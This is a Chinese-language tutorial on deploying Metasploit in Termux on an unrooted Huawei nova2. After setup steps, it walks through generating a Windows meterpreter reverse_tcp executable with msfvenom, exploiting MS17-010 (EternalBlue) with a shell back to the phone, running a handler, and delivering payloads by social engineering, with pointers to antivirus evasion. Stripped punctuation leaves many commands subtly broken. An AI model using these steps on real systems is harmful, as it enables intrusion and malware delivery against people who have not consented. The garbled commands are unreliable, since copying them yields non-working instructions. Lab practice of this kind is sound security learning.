免Root在华为旧手机部署Metasploit:Termux环境下的移动渗透测试实践

免Root在华为旧手机部署Metasploit:Termux环境下的移动渗透测试实践
1. 项目概述为什么要在华为nova2上折腾Metasploit最近在整理旧设备翻出来一台吃灰多年的华为nova2。这机器当年也算中端主力麒麟659的芯现在跑个微信都费劲。但作为一名安全爱好者我总想着让它发挥点“余热”。一个很自然的想法就是能不能把它变成一个便携式的安全测试工具比如装上大名鼎鼎的渗透测试框架Metasploit。这个想法一冒出来第一个拦路虎就是“root”。对于华为nova2这类老款华为/荣耀设备获取root权限在如今的环境下越来越难。官方早已关闭解锁码申请通道第三方解锁工具风险高、成功率低一不小心就变砖。更关键的是很多场景下我们并不需要完整的系统级root权限我们只是需要运行一个特定的、需要一定权限的工具而已。那么有没有可能绕过root这个步骤直接在华为nova2上安装并运行Metasploit呢答案是肯定的。这个项目的目的就是探索在华为nova2基于Android 8.0系统上不进行任何解锁Bootloader、不刷入第三方Recovery、不获取系统root权限的前提下成功部署并基本运行Metasploit框架。这不仅仅是为了“废物利用”更是一种在受限环境下部署专业工具的实战思路对于移动安全学习、特定环境下的渗透测试演练有很高的参考价值。整个过程会涉及到Android的ADB调试、Termux高级终端的使用、Linux子系统的部署以及一些巧妙的权限规避技巧。2. 核心思路与可行性分析不Root的底气从何而来要在非Root设备上运行Metasploit这类“重型”工具核心思路是“划地为营”在用户空间内创建一个相对独立、功能完整的Linux环境。我们并不去修改或破解系统分区而是在系统允许的范围内利用合法途径搭建一个“沙盒”。这个沙盒拥有自己的文件系统、包管理器和网络栈足以满足Metasploit的编译和运行需求。实现这一目标我们主要依赖两个关键技术2.1 核心工具Termux的强大之处Termux是一个运行在Android上的强大终端模拟器和Linux环境。它的关键优势在于免Root运行所有操作都在Android的/data/data/com.termux目录下进行这是应用私有目录拥有完整的读写权限无需系统级root。完整的包管理通过pkg或apt可以安装Python、Ruby、GCC、Make等成千上万的Linux工具和库为编译复杂软件提供了可能。独立的文件系统它提供了一个类似于$PREFIX默认为/data/data/com.termux/files/usr的根目录与Android系统隔离。我们的整个Metasploit安装过程都将在这个Termux环境内完成。这相当于在Android系统内部开辟了一个小型的、我们拥有高度控制权的Linux王国。2.2 关键桥梁ADB调试权限的获取虽然Termux内部是“自由”的但它与外部设备尤其是自身设备的交互仍受Android权限模型限制。例如Metasploit的某些模块如android/meterpreter/reverse_tcp在生成载荷时可能需要访问设备的一些信息。此外为了方便文件传输和管理我们需要在电脑和手机的Termux之间建立一条高速通道。这就需要用到Android Debug Bridge (ADB)。在华为nova2上开启“开发者选项”和“USB调试”通过USB连接电脑并授权后我们就获得了通过ADB与设备进行特权通信的能力。注意这里的“特权”是相对于普通应用而言ADB权限shell用户仍然低于root但远高于普通应用。我们可以通过ADB做几件关键事将Metasploit的安装包或源码从电脑推送到手机的sdcard。在Termux环境外执行一些简单的shell命令。进行端口转发方便后续测试。注意华为/荣耀手机在开启USB调试时可能会弹出“是否允许USB调试”的对话框务必勾选“始终允许”并点击确定。部分华为机型在连接电脑后还需要在“USB连接方式”中选择“传输文件”才能稳定激活ADB。2.3 方案局限性分析在开始之前必须清醒认识到这种非Root方案的局限性这决定了我们能用它来做什么无法访问系统分区不能修改/system、/vendor等只读分区因此无法安装需要写入系统目录的框架或应用。权限受限无法直接执行需要su权限的命令例如iptables原生操作、直接读写其他应用数据等。Metasploit功能折损所有需要高权限的本地提权漏洞利用模块、以及对系统进行深度操作的后期渗透模块如某些持久化手段将无法使用。依赖Termux环境Metasploit及其所有依赖都运行在Termux的$PREFIX下环境相对孤立。因此这个项目搭建的环境主要适用于网络攻击测试对同一局域网内的其他设备进行扫描、漏洞利用如MS17-010永恒之蓝。Payload生成与测试生成各种Payload如反向Shell并在可控环境中测试其功能。辅助模块使用使用信息收集、密码爆破等辅助模块。学习与研究作为移动端的安全学习平台理解Metasploit框架结构和工作流程。明确了目标和边界我们就可以开始动手了。3. 环境准备从零搭建Termux战场工欲善其事必先利其器。在华为nova2上部署Metasploit第一步就是建立一个稳定、高效的Termux工作环境。3.1 Termux的安装与基础配置华为nova2自带的应用市场可能没有Termux或者版本过于陈旧。建议通过F-Droid这个开源应用商店来安装它能确保我们获取到官方正版且持续更新的Termux。安装F-Droid在手机浏览器中访问F-Droid官网下载并安装其APK文件。安装时可能需要开启“允许来自此来源的应用”选项。安装Termux打开F-Droid搜索“Termux”选择由termux.dev发布的官方版本进行安装。建议同时安装其插件Termux:API和Termux:Widget前者可以提供访问手机振动、剪贴板等更多功能后者可以添加桌面快捷指令方便后续操作。首次启动与换源打开Termux首先映入眼帘的是一个命令行界面。国内直接访问默认的官方源速度很慢第一步就是更换为国内镜像源加速。执行以下命令termux-change-repo在弹出的图形化界面中用音量键和回车键操作先选择“Mirrors by BFSU”北京外国语大学镜像然后选中所有仓库main, root, x11最后确认。完成后执行一次全面的更新pkg update pkg upgrade -y这个命令会更新软件包列表并升级所有已安装的包过程中会询问是否继续输入y回车即可。3.2 安装核心编译与运行环境Metasploit框架本身主要由Ruby编写但其部分依赖如某些数据库连接库、加密库以及后续我们可能用到的Payload编译工具如mingw-w64用于生成Windows可执行文件都需要相应的编译环境。在Termux中执行以下命令安装必备软件包pkg install -y ruby python git clang make cmake libxml2 libxslt openssl openssl-tool libffi sqlite libsqlite wget curl ncurses-utils ncurses postgresql termux-tools termux-exec这条命令安装了以下关键组件rubyMetasploit的运行语言环境。python,git,clang,make,cmake基础编译工具链和版本控制工具。libxml2,libxslt,openssl,libffi,sqliteRuby gemsMetasploit的模块编译时经常依赖的库。postgresqlMetasploit推荐使用的数据库后端用于存储项目数据、模块缓存等能显著提升搜索和操作速度。termux-tools,termux-execTermux的增强工具确保一些脚本能正确运行。3.3 配置存储访问与ADB连接默认情况下Termux无法直接访问手机的内部存储/sdcard。我们需要授予它存储权限并建立符号链接方便访问。授予存储权限在Termux中执行termux-setup-storage手机会弹出权限请求点击“允许”。这个操作会在Termux的家目录~/下创建一个storage文件夹并链接到手机的内部存储、DCIM等目录。你可以通过ls ~/storage来查看。准备ADB连接电脑端在电脑上安装好ADB工具Android SDK Platform-Tools。用USB数据线连接华为nova2和电脑。在手机上进入“设置”-“关于手机”连续点击“版本号”7次开启开发者模式。返回设置进入“系统和更新”-“开发人员选项”开启“USB调试”。电脑命令行执行adb devices手机上会弹出授权窗口勾选“始终允许”点击确定。此时电脑命令行应显示设备序列号后面跟着device字样表示连接成功。至此一个功能完备的Termux基础环境就准备好了。接下来我们将在这个环境中亲手构建Metasploit。4. 实战部署在Termux中编译安装Metasploit有了稳固的基础现在开始最核心的步骤——安装Metasploit。我们将采用从GitHub克隆源码并编译安装的方式这比直接安装预编译包更灵活也能更好地适配Termux的特殊环境。4.1 克隆Metasploit框架源码首先我们进入一个合适的工作目录然后从GitHub克隆Metasploit的主仓库。由于网络问题直接从GitHub克隆可能较慢或失败这里我们可以先克隆到电脑再通过ADB推送或者使用一些加速手段。这里演示在Termux内直接操作如果太慢可以后续用ADB推送替代。在Termux中执行cd ~ git clone https://github.com/rapid7/metasploit-framework.git cd metasploit-framework克隆完成后目录结构就出来了。核心的msfconsole、msfvenom等脚本都在根目录下模块则在modules/目录中。4.2 安装Ruby依赖包BundleMetasploit使用Bundler来管理其复杂的Ruby gem依赖。我们需要先安装bundler然后让它根据项目中的Gemfile文件安装所有依赖。gem install bundler安装bundler后开始安装依赖。这是最耗时且最容易出错的环节因为Termux的环境与标准Linux桌面环境有差异。bundle config build.nokogiri --use-system-libraries bundle install -j$(nproc) --with developmentbundle config ...这一行是关键。它告诉bundler在编译nokogiri这个gem一个XML解析库时使用我们之前通过pkg安装的系统库libxml2,libxslt而不是自己从头编译这能极大提高成功率和速度。bundle install开始安装依赖。-j$(nproc)表示使用所有CPU核心并行编译以加快速度。--with development会安装开发组依赖确保环境完整。这个过程可能会持续十几分钟到半小时取决于网络和手机性能。期间可能会遇到某些gem编译失败常见问题及解决如下错误Failed to build gem native extension这通常是因为缺少某个开发库。回顾我们pkg install的列表确保clang,make,libffi,openssl等都已安装。可以尝试单独安装报错的gem如gem install pg -v 某个版本 -- --with-pg-config$(which pg_config)来指定PostgreSQL路径。错误Could not verify the SSL certificate可能是Ruby的OpenSSL环境问题。尝试执行pkg reinstall openssl openssl-tool然后重新运行bundle install。实操心得在华为nova2的麒麟659处理器上编译内存和CPU都是瓶颈。建议在运行bundle install时关闭所有其他后台应用并将手机连接充电器。如果反复失败可以尝试先bundle install不加-j参数单线程编译虽然慢但更稳定。或者在电脑的Linux虚拟机或WSL中完成bundle install然后将整个metasploit-framework目录和vendor/bundle目录打包通过ADB推送到手机的Termux目录下这能节省大量时间和电量。4.3 配置并初始化PostgreSQL数据库虽然Metasploit可以不使用数据库运行但强烈建议配置因为数据库能缓存模块信息让search命令瞬间响应还能保存工作区数据。启动PostgreSQL服务Termux中PostgreSQL不是以系统服务运行需要手动启动。pg_ctl -D $PREFIX/var/lib/postgresql start首次启动会自动初始化数据库集群。你可以将这条命令添加到~/.bashrc文件中这样每次启动Termux时自动运行。创建数据库和用户createuser msf -P这里会提示你为msf用户设置密码建议设置一个强密码并记住。createdb -O msf msf_database这条命令创建了一个名为msf_database的数据库并将所有者赋予刚刚创建的msf用户。配置Metasploit连接数据库Metasploit的数据库连接配置可以通过环境变量或配置文件设置。最简单的方法是使用环境变量。编辑Termux的配置文件nano ~/.bashrc在文件末尾添加export MSF_DATABASE_CONFIG{database:msf_database, username:msf, password:你设置的密码, host:localhost, port:5432, pool:5}保存退出CtrlX, 然后Y, 回车。执行source ~/.bashrc使配置生效。4.4 创建启动脚本并首次运行由于Termux的环境路径问题直接运行./msfconsole可能找不到正确的Ruby和gem路径。我们可以创建一个简单的包装脚本。在~/metasploit-framework目录下创建一个名为msf的脚本文件#!/data/data/com.termux/files/usr/bin/bash cd /data/data/com.termux/files/home/metasploit-framework ./msfconsole $然后赋予执行权限chmod x ~/metasploit-framework/msf为了方便可以把这个脚本链接到Termux的$PREFIX/bin目录这样在任何位置都能直接输入msf启动。ln -s ~/metasploit-framework/msf $PREFIX/bin/msf现在激动人心的时刻到了。在Termux中直接输入msf如果一切顺利你将看到Metasploit那标志性的启动画面以及msf6 的提示符。首次启动会初始化数据库可能会稍慢一些。你可以输入db_status来检查数据库连接是否正常应该显示“connected”。输入help可以查看所有可用命令。至此Metasploit框架已经在你的华为nova2上成功安家落户。接下来我们要解决运行中遇到的具体问题并让它真正能用于测试。5. 核心问题解决与功能调优安装成功只是第一步要让Metasploit在Termux这个特殊环境里顺畅工作还需要解决几个关键问题。5.1 解决Payload编译问题msfvenom的适配msfvenom是生成Payload的神器但它生成Windows可执行文件(.exe)时默认依赖mingw-w64工具链进行交叉编译。在Termux中我们需要手动安装并配置它。pkg install -y mingw-w64安装后msfvenom可能仍然找不到正确的工具前缀。我们需要检查一下。在Termux中mingw-w64的工具通常以x86_64-w64-mingw32-或i686-w64-mingw32-为前缀。你可以用which x86_64-w64-mingw32-gcc来查找路径。为了让msfvenom识别可以设置环境变量。编辑~/.bashrc添加export PATH$PATH:/data/data/com.termux/files/usr/bin # 如果which命令找到的路径不同请替换为实际路径然后测试生成一个简单的反向TCP shell的Windows载荷msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.X LPORT4444 -f exe -o /sdcard/test.exe将LHOST替换为你华为nova2在Wi-Fi网络中的IP地址。如果命令成功执行并在/sdcard下生成了test.exe文件说明msfvenom工作正常。5.2 处理网络监听与端口冲突在Android上普通应用包括Termux无法直接绑定1024以下的特权端口如80、443。因此我们在设置监听器时应使用1024以上的端口例如4444、8080、8443等。另一个常见问题是当Metasploit在Termux中运行exploit/multi/handler监听时如果Termux被切换到后台或手机锁屏Android系统可能会为了省电而限制其网络活动导致连接中断。为了解决这个问题为Termux禁用电池优化进入手机“设置”-“应用”-“应用启动管理”找到Termux关闭其“自动管理”并手动打开“允许自启动”、“允许关联启动”、“允许后台活动”。保持Termux前台运行在执行重要监听任务时确保Termux应用处于前台或者使用Termux的termux-wake-lock工具来阻止CPU休眠。先安装工具pkg install termux-api然后在监听前执行termux-wake-lock任务结束后执行termux-wake-unlock。5.3 模块兼容性与功能限制梳理如前所述非Root环境下的Metasploit功能是受限的。我们需要明确知道哪些能用哪些不能用。可正常使用的模块类型辅助模块 (Auxiliary)绝大部分信息收集、扫描、爆破模块。例如auxiliary/scanner/portscan/tcpauxiliary/scanner/smb/smb_versionauxiliary/scanner/http/http_version漏洞利用模块 (Exploit)针对远程服务的漏洞利用。例如exploit/multi/samba/usermap_script(Samba旧漏洞)exploit/windows/smb/ms17_010_eternalblue(针对Windows系统)各种Web应用漏洞利用模块。后渗透模块 (Post)部分不依赖高系统权限的后渗透模块。例如一些信息收集模块。Payloads所有Payload的生成(msfvenom)和使用在获得会话后。基本无法使用或受限的模块本地提权漏洞利用例如exploit/android/local/下的几乎所有模块它们都需要已有的Shell会话具有较高权限或者依赖设备存在特定漏洞且环境满足在非Root环境下极难成功。需要直接系统操作的Post模块如post/android/manage/下的很多模块涉及应用安装、截图、获取完整联系人列表等需要android.permission系列权限。基于特定客户端的攻击如某些需要诱导用户安装恶意APK并获取其辅助功能权限的攻击链虽然可以生成APK但后续权限获取不在Metasploit控制范围内。理解这些限制能帮助我们在实战中设定合理的期望和目标专注于网络层面的测试和学习。6. 实战演练从信息收集到漏洞利用理论说再多不如实际跑一遍。让我们用一个完整的、针对内网环境的简单测试流程来验证这套环境的可用性。请务必仅在你自己拥有完全控制权的实验室环境如虚拟机组成的隔离网络中进行测试。6.1 场景设定与信息收集假设我们的华为nova2和一台存在漏洞的Windows测试机虚拟机连接到了同一个Wi-Fi网络如192.168.1.0/24。启动Metasploit并查看本机IPmsf db_status在msfconsole内我们可以用run get_local_subnets来查看Termux感知到的网络接口和IP段。更简单的方法是在另一个Termux标签页或先退出msfconsole用ifconfig或ip addr show命令查看wlan0接口的IP地址。假设华为nova2的IP是192.168.1.105目标测试机IP是192.168.1.150。使用辅助模块进行端口扫描 在msfconsole中我们使用一个简单的TCP端口扫描模块来探测目标机器开放了哪些服务。use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.150 set PORTS 1-1000 run这个模块会扫描目标192.168.1.150的1到1000端口。如果发现445端口SMB服务开放我们就可以进行下一步。6.2 漏洞利用以永恒之蓝为例假设扫描发现目标192.168.1.150开放了445端口并且我们通过其他方式如auxiliary/scanner/smb/smb_version判断其可能是未打补丁的Windows 7或Server 2008系统可以尝试MS17-010永恒之蓝漏洞。选择并配置漏洞利用模块use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.150 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.105 set LPORT 4444RHOSTS: 目标IP。PAYLOAD: 选择载荷我们使用64位的Meterpreter反向TCP连接。LHOST: 监听IP填写华为nova2的IP。LPORT: 监听端口使用4444。执行漏洞利用exploit如果目标存在漏洞且利用成功你会看到类似[*] Meterpreter session 1 opened (192.168.1.105:4444 - 192.168.1.150:XXXXX)的成功提示命令行会进入meterpreter 会话。Meterpreter会话操作 在meterpreter会话中你可以尝试一些基本命令sysinfo: 查看目标系统信息。getuid: 查看当前权限。在非Root环境下发起的攻击获得的权限通常就是漏洞利用本身获取的权限可能是系统级也可能是用户级。shell: 尝试获取一个系统命令行shell。如果成功你就可以执行ipconfig,whoami等命令。6.3 生成与传递Payload的另一种思路除了直接利用漏洞另一种常见场景是生成一个Payload然后通过社会工程学等方式让目标执行。我们在前面已经用msfvenom生成了exe文件。现在我们在华为nova2上启动一个监听器来接收连接。在msfconsole中启动处理器use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.105 set LPORT 4444 exploit -j-j参数表示作为后台任务运行。在目标机器上执行Payload将之前生成的test.exe通过任何方式U盘、网络下载等在目标Windows机器上运行。接收会话如果网络连通且防火墙无阻你将在华为nova2的msfconsole中看到新的Meterpreter会话被建立。注意事项在实际测试中Windows Defender或其它杀毒软件很可能会立即查杀生成的test.exe。你需要使用msfvenom的编码器-e参数和多次编码-i参数进行免杀处理或者使用Veil-Evasion、Shellter等更专业的免杀工具这些工具同样可以在Termux中尝试安装但过程更复杂。这属于免杀技术范畴超出了本文范围但你必须意识到这一点。通过以上演练你已经验证了在非Root的华为nova2上利用Termux部署的Metasploit完全可以执行从扫描、漏洞利用到建立控制会话的完整链。这充分证明了该方案的实用价值。7. 常见问题排查与优化技巧在部署和使用过程中你肯定会遇到各种各样的问题。这里汇总了一些典型问题及其解决方案以及一些让体验更好的优化技巧。7.1 安装与编译类问题问题bundle install时内存不足编译进程被杀死。排查麒麟659内存较小编译大型gem时容易OOM内存溢出。解决在运行bundle install前先执行swapoff -a如果之前有交换分区然后创建一个交换文件dd if/dev/zero of$PREFIX/swapfile bs1M count1024再mkswap $PREFIX/swapfile最后swapon $PREFIX/swapfile。这能提供1GB的虚拟内存。使用更轻量的编译选项bundle config set jobs 2然后bundle install限制并行编译任务为2个。终极方案在电脑端完成依赖编译后整体推送如前文“实操心得”所述。问题运行msfconsole时提示Could not find rake-13.0.x in any of the sources (Bundler::GemNotFound)排查Gem依赖未正确安装或路径问题。解决确保你在metasploit-framework目录下运行。尝试执行bundle update然后再次bundle install。也可以尝试删除vendor/bundle目录和Gemfile.lock文件重新执行bundle install。7.2 运行时与网络类问题问题msfconsole中search命令非常慢。排查没有使用数据库或者数据库连接失败。解决首先确认PostgreSQL服务已启动pg_ctl status。然后检查db_status。如果未连接在msfconsole内执行db_connect参数格式为db_connect 用户名:密码localhost:5432/数据库名。连接成功后执行db_rebuild_cache重新建立缓存。问题Payload执行后华为nova2上的监听器收不到连接。排查IP/端口错误检查LHOST是否设置为华为nova2在目标网络中的正确IP检查LPORT是否被占用或防火墙阻止。网络问题确保目标和华为nova2在同一网段且能互相ping通。家用路由器通常允许局域网内互访。Android后台限制Termux可能被系统休眠。Payload本身问题生成的Payload是否被目标杀软拦截。解决在Termux中用netstat -tulpn | grep 4444查看4444端口是否处于LISTEN状态。在目标机器上尝试telnet 192.168.1.105 4444假设IP正确看能否建立TCP连接。确保已为Termux禁用电池优化并在监听时保持前台运行或使用termux-wake-lock。尝试生成不同格式或使用编码器的Payload。7.3 系统与性能优化技巧加快Termux和Metasploit启动速度将PostgreSQL自启动命令和Metasploit环境变量配置都写入~/.bashrc。考虑使用tmux或screen在Termux中创建持久会话将Metasploit一直运行在后台需要时直接附加会话避免重复启动。技巧管理存储空间Termux的私有目录空间有限。定期清理pkg的缓存pkg clean。将大型文件如生成的Payload、抓取的数据直接存放在~/storage/shared/即手机内部存储中。使用du -sh ~/*和du -sh $PREFIX/*查看哪些目录占用空间大。技巧使用物理键盘和鼠标华为nova2支持OTG。通过一个OTG转接头连接USB键盘和鼠标可以极大提升在Termux中输入命令和操作的效率体验接近电脑。经过以上步骤你的华为nova2已经成功转型为一台隐蔽的、免Root的便携式安全测试设备。这个过程不仅让你复活了一台旧手机更重要的是你深入理解了在受限环境下部署复杂工具的通用方法论利用用户空间容器、解决依赖兼容性、规避权限限制。这套思路完全可以迁移到其他类似场景中。